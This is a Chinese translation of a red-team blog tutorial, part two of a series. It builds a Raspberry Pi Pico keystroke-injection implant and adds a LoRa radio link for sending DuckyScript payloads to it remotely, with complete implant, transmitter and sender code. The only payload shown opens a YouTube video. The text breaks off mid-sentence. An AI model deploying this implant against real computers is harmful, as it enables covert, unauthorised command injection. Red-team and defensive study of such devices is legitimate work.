红队植入物攻击性物联网实战(第二部分):使用Raspberry Pi Pico与LoRa模块构建无线键盘注入设备

本文详细介绍了如何将Raspberry Pi Pico配置为物理植入设备,通过CircuitPython实现USB Rubber Ducky式键盘注入攻击,并进一步集成LoRa模块实现远程脚本传输与执行,扩展攻击范围与隐蔽性。

红队植入物攻击性物联网实战(第二部分)

这是博客系列“红队植入物攻击性物联网”的第二部分。如果您尚未阅读第一部分,建议先阅读第一部分再回到这里。

在本博客中,我们将采用“从零开始”的方法,设置并运行Raspberry Pi Pico(Pico W)作为物理植入设备,用于诸如USB Rubber Ducky之类的攻击。然后,我们将稍微转向,通过启用和使用附加的LoRa模块来扩展植入设备的能力,将整个攻击过程提升到11级。让我们开始吧。

您需要准备一些基本硬件,主要是:Raspberry Pi Pico或Pico W(以下简称Pico)和一根micro USB线缆。(您还需要一台电脑,但我想这是显而易见的。)

开始使用

首先,您需要设置环境来配置和编程您的Pico。在本博客系列中,我们将使用CircuitPython¹作为我们的编程语言。Pico平台有许多选项,包括C/C++和Arduino,但对于这个用例,CircuitPython是一个相当可靠的选择,因为它易于使用且拥有现成的库。

您还需要某种IDE来开发代码。在本博客中,我们将使用Thonny IDE,它自称是面向初学者的Python IDE²。您不必使用Thonny;有许多IDE可供选择,但为了简单起见,我们将使用它。

Thonny IDE

首先,您需要从网站下载Thonny:https://thonny.org/

Thonny是跨平台兼容的,因此无论您是在Windows、Mac还是Linux上运行,都应该没有问题。

下载适用于您操作系统的安装程序后,您需要执行安装程序来安装Thonny。我在撰写本博客时使用的是Windows系统,因此以下是Windows上安装的截图。

安装Thonny后,您就可以进行下一步了——在Pico上安装CircuitPython。

CircuitPython

要让您的Pico运行CircuitPython,您需要首先下载与您的Pico对应的CircuitPython版本。在我的情况下,我使用的是Pico W,但您也可以使用普通的Pico,或者CircuitPython支持的495块板中的任何一块。虽然本博客基于Pico和Pico W,但需要注意的是,这个过程应该适用于任何基于RP2040的板(但您的体验可能有所不同)。

在CircuitPython下载页面上选择您的板后,您将进入一个页面,可以下载适用于您所选板的CircuitPython固件文件,一个.UF2文件。

将最新的稳定版本固件文件下载到您的计算机;在撰写本文时,版本是9.0.4。

下载.UF2文件后,您可以使用micro USB线将Pico连接到计算机。我建议您首先将micro USB端插入Pico,而不要将USB线的另一端插入计算机。原因是您需要在启动时按住Pico上的BOOTSEL按钮来安装CircuitPython,如果您用一只手按住按钮,另一只手连接USB线到计算机,这会容易得多。

按住BOOTSEL按钮启动Pico后,Pico应该会在您的计算机上显示为一个驱动器,并命名为RPI-RP2或类似名称。

现在,您需要找到下载固件文件的位置。您需要将其复制到计算机上的新驱动器。

成功将固件文件复制到驱动器后,它应该会自动从主机断开连接,然后在几秒钟后重新连接,此时您应该会看到一个名为CIRCUITPY的新驱动器出现。如果这个新驱动器已挂载到您的计算机上,说明您已成功在Pico上安装了CircuitPython,并准备好进行下一步。

现在,您需要打开Thonny IDE。这样做时,它应该会自动连接到Pico所连接的COM端口;在我的情况下,它是COM9,但您的可能不同。

如果它没有自动连接到Pico的COM端口,您可以使用Thonny IDE右下角的菜单手动选择要连接的COM端口。

在Thonny中,您需要安装一些包,为此,单击“工具”,然后“管理包”。

当“管理包”屏幕打开时,您需要搜索以下内容:adafruit-circuitpython-hid,然后单击右侧的搜索按钮。

您应该会得到一个结果——单击它,然后单击屏幕底部的“安装”。

现在,您应该已经配置好一切,准备开始编写一些代码,让您的Pico变得稍微更邪恶。

编写一些代码

下一步是打开Pico上的文件code.py。为此,您可以单击菜单栏中的文件夹图标,然后选择底部选项“CircuitPython设备”。

然后会打开一个文件提示,您可以选择code.py。

您可能会发现您的code.py中已经有一些内容,比如print(“Hello World”),但不用担心,您可以删除它,然后将以下代码复制到文件中。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
import time
import board
import usb_hid

from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keyboard_layout_us import KeyboardLayoutUS
from adafruit_hid.keycode import Keycode

# Setup for keyboard emulation
keyboard = Keyboard(usb_hid.devices)
layout = KeyboardLayoutUS(keyboard)

# Function to perform a combination of key presses
def press_keys(*keys, delay=0.1):
    keyboard.press(*keys)
    time.sleep(delay)
    keyboard.release_all()

time.sleep(2) # Delay to make sure the device is connected before trying to injection keystrokes
# Open a web browser
press_keys(Keycode.GUI, Keycode.R)  # Windows key + R to open run dialog
layout.write('https://www.youtube.com/watch?v=dQw4w9WgXcQ&themeRefresh=1\n')

单击“保存”图标保存文件,然后按F5或绿色运行按钮测试您的代码。如果一切按预期工作,您应该会打开一个网页浏览器,并开始播放每个人最喜欢的YouTube视频。

如果这对您不起作用,可能有几个原因。首先,您运行的代码是为在基于Windows的PC上执行而编写的。如果您在非Windows系统上进行开发,您需要将运行代码的Pico连接到Windows PC以查看是否工作。其次,可能在复制粘贴过程中出现了错误,因此请仔细检查代码,并使用Thonny控制台中的错误消息来帮助您诊断问题。

假设一切对您都有效,您刚刚运行的代码并不特别邪恶,如您所见。您所做的是使用Python执行击键注入攻击。难吗?不太难。令人印象深刻吗?再次,不太令人印象深刻。然而,这为一个非常强大的击键注入平台奠定了基础,但这目前是您用这种方法可以做的绝对最基本的事情。我们需要做更多!

让我们首先在Thonny IDE中安装一个名为Adafruit-circuitpython-ducky的新库。为此,单击“工具”>“管理包”,然后按名称搜索包并安装。

这个包允许我们使用预先编写的Ducky Script有效载荷,并通过我们的Python代码执行它们。这非常有效,因为它允许人们使用大量现有有效载荷,而无需从头开始编写每个有效载荷。

安装ducky包后,您可以使用以下内容修改code.py文件以利用该库。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
import time
import usb_hid
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keyboard_layout_us import KeyboardLayoutUS
import adafruit_ducky

time.sleep(2)  # Sleep for a bit to avoid a race condition on some systems
keyboard = Keyboard(usb_hid.devices)
keyboard_layout = KeyboardLayoutUS(keyboard)  # We're in the US :)

duck = adafruit_ducky.Ducky('duckyscript.txt', keyboard, keyboard_layout)
result = True
while result is not False:
    result = duck.loop()

之前的代码所做的是打开一个名为duckscript.txt的文件并迭代它,将脚本中的每一行作为击键注入到目标计算机上。但要做到这一点,我们需要一个有效载荷文件,所以现在让我们生成它。

在Thonny中创建一个名为duckyscript.txt的新文件,添加以下文本,并将其保存到设备为duckyscript.txt。

1
2
3
4
WINDOWS r
DELAY 500
STRING https://www.youtube.com/watch?v=dQw4w9WgXcQ
ENTER

您刚刚保存到文件的DuckyScript³代码与之前的Python代码做完全相同的事情,但更易于阅读和编写。

现在,通过单击“运行”图标或按F5来运行您的code.py。

您应该得到与之前相同的结果,但代码更具可重用性。

此时,您可以用任何DuckyScript有效载荷替换duckscript.txt,您的Pico应该能够很好地运行它。您现在已经使用Pico和一些Python代码创建了一个简单的USB rubber ducky式植入设备,但我想如果您已经做到这一步,您期望的不仅仅是简单复制现有能力。

教橡皮鸭飞行…

所以,虽然代码有效并允许我们使用Pico作为USB rubber ducky,但这仍然是一个相当有限的用例,因为就目前而言,我们真的只能运行单个鸭子脚本。是的,我们可以创建另一个循环来执行额外的鸭子脚本,但这迫使您真正提前计划并加载所需的一切。如果您可以选择稍后运行其他脚本甚至添加新脚本呢?那会很有趣,不是吗?嗯,已经有设备可以通过Wi-Fi或蓝牙做到这一点,但这种方法的问题是,第一,这些机制的范围有限,第二,它们很容易被检测到。第三,这不如我们即将做的事情有趣。

IoT进入房间…

好吧,让我们稍微设定一下——我们并不是真正使用IoT设备进行物理植入,而是将利用一种常见的IoT通信方法;在这种情况下,是LoRa。我在之前的博客文章中讨论了一些为什么这是一个好且有趣的选项的原因,因此如果您想了解LoRa的原因,请返回阅读。

为了做到这一点,我使用了一个自定义PCB,上面有一个Pico W和RFM95 LoRa模块,但您不需要自定义硬件,因为您可以购买现成的解决方案,如Adafruit Feather RP2040 with RFM95 https://www.adafruit.com/product/5714,这实际上与我使用的硬件相同,是一个预构建的包。

此外, vital需要注意的是,您需要两个设备才能执行这种空中(OTA)Rubber Ducky攻击——一个设备作为您的植入物,一个设备作为您的发送器。

出于我的目的,我只是使用两个自定义PCB,但您可以使用两个Adafruit Feathers或任何其他支持的设备,只要LoRa模块相同且配置相同。

植入物代码

我们将首先从植入设备的代码开始。我们需要再添加一个库到我们的设备,以便使用附加的LoRa模块。在这种情况下,我们将使用Adafruit-circuitptytthon-rfm9x库,可以以与其他库相同的方式安装。

安装库后,您可以在Thonny中打开植入设备上的code.py文件,并复制以下代码。不需要100%理解代码中发生的事情,但概括来说,代码设置了要呈现的HID类型以及我们想要使用的键盘布局。然后,它进行一些LoRa模块配置,随后定义了从空中接收脚本的函数、执行所述脚本的函数以及定义main()。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
import time
import board
import busio
import digitalio
import usb_hid
from adafruit_hid.keyboard import Keyboard
from adafruit_hid.keyboard_layout_us import KeyboardLayoutUS
import adafruit_rfm9x
import adafruit_ducky

# Initialize keyboard
keyboard = Keyboard(usb_hid.devices)
keyboard_layout = KeyboardLayoutUS(keyboard)

# Initialize SPI connection
spi = busio.SPI(board.GP2, MOSI=board.GP3, MISO=board.GP4) # Your SPI Pins may be different

# Configure RFM95 CS and RESET pins
cs = digitalio.DigitalInOut(board.GP5)
reset = digitalio.DigitalInOut(board.GP6)

# Initialize RFM9x
rfm9x = adafruit_rfm9x.RFM9x(spi, cs, reset, 915.0)  # Adjust frequency to match your region
rfm9x.tx_power = 13 # Default transmission Power
rfm9x.signal_bandwidth = 250000 # 250000  # Set signal bandwidth
rfm9x.coding_rate = 5  # Set coding rate (4/5, 4/6, 4/7, 4/8)
rfm9x.spreading_factor = 7  # Set spreading factor (6 to 12)
rfm9x.node = 255

# Function to receive scripts and write them to a file
def receive_scripts():
    print("Waiting for new scripts via LoRa...")
    with open('lora_script.txt', 'w') as file:  # Open file in write mode
        while True:
            packet = rfm9x.receive(timeout=None)  # Block indefinitely until a packet is received
            if packet is not None:
                script_line = str(packet, 'utf-8').strip()  # Decode packet text
                print("Received line:", script_line)
                if script_line == 'DNE':  # Check for termination string
                    print("End of script received.")
                    break  # Exit the loop to process the script
                file.write(script_line + '\n')  # Write each line to the file
            else:
                pass #print("No packet received, continuing to listen...")

# Function to execute the script
def execute_script(filename):
    duck = adafruit_ducky.Ducky(filename, keyboard, keyboard_layout)
    result = True
    while result is not False:
        result = duck.loop()

# Main function to handle script reception and execution
def main():
    time.sleep(2)
    execute_script('duckyscript.txt')
    while True:
        receive_scripts()
        execute_script('lora_script.txt')

main()

当此代码在Pico上运行时,它将在短暂的2秒延迟后首先执行脚本duckyscript.txt作为默认脚本,以确保主机准备就绪。这个初始脚本可以是任何您想要的内容,但在我们的情况下,我保持未修改。然后,在运行默认脚本后,Pico进入一个循环,它将侦听通过LoRa传入的任何新脚本。一旦整个脚本被接收,它将被保存到Pico的文件系统中,然后执行,循环重复,等待下一个脚本传入。

如果您能够通过LoRa发送新脚本到植入物,它会失败,因为就目前而言,文件系统不可写。要改变这一点,您需要创建一个具有以下内容的新文件,然后将其保存为boot.py。

1
2
3
import storage

storage.remount('/', readonly=False)

此代码将允许CircuitPython能够写入文件系统并保存通过LoRa接收的任何脚本。

您现在已准备好您的植入物。暂时将其从主机断开连接。Thonny在尝试同时配置多个设备时可能会变得不稳定,因此最好一次只连接一个设备。

发送器代码

现在,对于方程的发送端。首先,您需要将第二个设备连接到计算机,并在Thonny中选择适当的COM端口。接下来,您需要安装必要的库,应该只有adafruit-circuitptytthon-rfm9x。所有其他依赖项将随RFM9x库安装。

安装RFM9x库后,您可以打开code.py并将以下代码复制到其中。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
import time
import board
import busio
import digitalio
import adafruit_rfm9x

# Serial setup
import usb_cdc
serial = usb_cdc.data 

# Initialize SPI connection
spi = busio.SPI(board.GP2, MOSI=board.GP3, MISO=board.GP4)

# Configure RFM95 CS and RESET pins
cs = digitalio.DigitalInOut(board.GP5)
reset = digitalio.DigitalInOut(board.GP6)

# Initialize RFM9x
rfm9x = adafruit_rfm9x.RFM9x(spi, cs, reset, 915.0)  # Adjust frequency to match your region
rfm9x.tx_power = 13  # Default transmission
rfm9x.signal_bandwidth = 250000 # 250000  # Set signal bandwidth
rfm9x.coding_rate = 5  # Set coding rate (4/5, 4/6, 4/7, 4/8)
rfm9x.spreading_factor = 7  # Set spreading factor (6 to 12)
rfm9x.node = 255

# Function to receive from serial and send over LoRa
def receive_and_transmit():
    while True:
        print("Waiting for data...")
        line = serial.readline().decode().strip()  # This should block until a line is received
        if line:
            print("Received from serial:", line)
            rfm9x.send(bytes(line, 'utf-8'))
            print("Sent over LoRa:", line)

receive_and_transmit()

这段代码非常简单,因为它设置了LoRa模块配置,然后侦听串行端口的数据,这些数据随后通过LoRa传输。

接下来,您需要在此设备上创建boot.py文件,内容如下:

1
2
3
import usb_cdc
  
usb_cdc.enable(console=True, data=True) 

为了使boot.py代码工作,您需要完全断开第二个设备的连接并重新连接。这段代码所做的是在设备上创建第二个串行端口,允许我们监视Thonny中发生的情况,以及将数据发送到辅助串行端口以进行传输。我称之为开发生活质量配置。

发送到发送器代码

完成设备代码后,我们需要做的最后一件事是创建一些客户端代码,可以将ducky脚本文件通过串行发送到发送器设备进行传输。

在您的主机上,创建一个名为sender.py的文件,并将以下内容保存到其中:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
import serial
import time

# Configure your serial connection
serial_port = 'COM14'  # This will vary based on your operating system and setup
baud_rate = 115200  # Make sure this matches the baud rate on your Pico

def send_script(filename):
    try:
        with serial.Serial(serial_port, baud_rate, timeout=1) as ser:

            with open(filename, 'r') as file:
                for line in file:
                    print("Sending: ", line.strip())
                    ser.write(line.encode() + b"\n")
                    time.sleep(0.5)  # Give the Pico time to process and send the line
            ser.write(b'DNE\n') # Termination Line for EOF
    except serial.SerialException as e:
        print("Error opening or using the serial port:", e)

send_script('duckyscript.txt')

您需要更新第5行的serial_port值以匹配您主机上的串行端口。请记住,现在设备将

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计